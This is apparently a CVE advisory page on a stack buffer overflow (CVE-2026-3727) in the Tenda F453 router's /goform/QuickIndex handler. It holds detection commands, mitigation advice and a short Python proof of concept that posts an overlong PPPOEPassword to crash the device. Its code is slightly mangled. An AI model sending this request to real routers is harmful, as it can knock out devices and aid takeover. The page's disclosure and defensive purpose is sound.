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A critical stack-based buffer overflow vulnerability, identified as CVE-2026-3727, exists in the Tenda F453 router running firmware version 1.0.0.3 . The vulnerability resides within the function `sub_3C6C0` in the `/goform/QuickIndex` file . This function is reachable via the device’s web interface, specifically through the Quick Index form. The flaw is triggered when the `mit_linktype` and `PPPOEPassword` arguments are manipulated . By sending a specially crafted HTTP POST request to this endpoint with an excessively long string for the PPPoE password, an attacker can overflow the buffer allocated on the stack . This memory corruption can overwrite critical data on the stack, including the function’s return address . Successful exploitation allows a remote, low-privileged attacker to hijack the program’s execution flow . The attacker can then execute arbitrary malicious code on the device, leading to a full system compromise . Public proof-of-concept (PoC) exploit code is available, confirming the practical risk and increasing the urgency for mitigation . The vulnerability is classified as high severity due to its network attack vector, low complexity, and the potential for complete compromise of confidentiality, integrity, and availability .
dailycve form:
Platform: Tenda
Version: 1.0.0.3
Vulnerability : Buffer Overflow
Severity: HIGH
date: 2026-03-08
Prediction: 2026-04-30
What Undercode Say:
Analytics:
Simulate checking current firmware version on a Tenda F453 device (Note: This is a conceptual command, actual implementation may vary) ssh [email protected] "cat /etc/version" Firmware Version: F453_V1.0.0.3 Check if the vulnerable /goform/QuickIndex endpoint is accessible curl -k -I https://192.168.0.1/goform/QuickIndex HTTP/1.1 200 OK Search for logs indicating a possible buffer overflow attempt (conceptual) grep "QuickIndex" /var/log/messages | grep -i "segfault" Mar 8 10:15:01 unknown kernel: [ 1588.64] quickIndex[bash]: segfault at 7fff0008 ip 41414141 sp 7fff0111 error 4
The analytics section shows that the vulnerable firmware version is active, the endpoint is accessible, and system logs may reveal crashes caused by exploitation attempts, indicated by patterns like `ip 41414141` (where ‘A’ (0x41) often fills a buffer).
How Exploit:
Simplified Python Proof-of-Concept for CVE-2026-3727
import requests
Target device details
target_ip = "192.168.0.1"
vulnerable_url = f"http://{target_ip}/goform/QuickIndex"
Payload: A large string of 'A's to overflow the stack buffer
The exact size to trigger the overflow would need to be determined via reverse engineering.
This example uses 500 bytes as a conceptual demonstration.
payload = 'A' 500
Data for the POST request, targeting the vulnerable arguments
The exploit likely manipulates PPPOEPassword, potentially through mit_linktype.
data = {
'mit_linktype': '3', Example value
'PPPOEPassword': payload Overly long password to cause overflow
}
Send the exploit
try:
print(f"[] Sending exploit to {vulnerable_url}...")
response = requests.post(vulnerable_url, data=data, timeout=5)
print(f"[] Server responded with status code: {response.status_code}")
print("[] If the device crashes or becomes unresponsive, it may be vulnerable.")
except requests.exceptions.RequestException as e:
print(f"[] Connection error - device may have crashed: {e}")
print("[!] Note: This is a conceptual PoC. A real exploit would need precise offset calculation and shellcode.")
Protection from this CVE:
- Check for Vendor Updates: Regularly visit the official Tenda support website (tenda.com.cn) to check for any new firmware updates for the F453 model that might patch this vulnerability .
- Implement Network Segmentation: Isolate IoT devices like routers on a separate VLAN from critical workstations and servers to limit the blast radius if the device is compromised.
- Disable Remote Management: If remote management (accessing the router’s web interface from the WAN side) is not strictly necessary, disable it to prevent external attackers from reaching the vulnerable endpoint.
- Monitor for Suspicious Activity: Monitor firewall logs for requests to the `/goform/QuickIndex` path, especially those containing unusually long strings, as these may indicate exploitation attempts.
- Replace End-of-Life Hardware: If the vendor does not release a security patch, consider replacing the affected Tenda F453 router with a supported model that receives regular security updates .
Impact:
- Remote Code Execution (RCE): A remote attacker can execute arbitrary code on the router, leading to full device takeover.
- Network Compromise: A compromised router can be used as a pivot point to launch attacks against other devices on the internal network, bypassing perimeter firewalls.
- Data Theft: The attacker can intercept, monitor, and modify all network traffic passing through the router, potentially stealing sensitive credentials and personal information .
- Denial of Service (DoS): The overflow can also be triggered to crash the device’s web server or the entire router, causing a complete loss of internet connectivity for all users on the network .
- Botnet Recruitment: Compromised routers are frequently ensnared into botnets (like Mirai) to be used in large-scale distributed denial-of-service (DDoS) attacks .
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Sources:
Reported By: nvd.nist.gov
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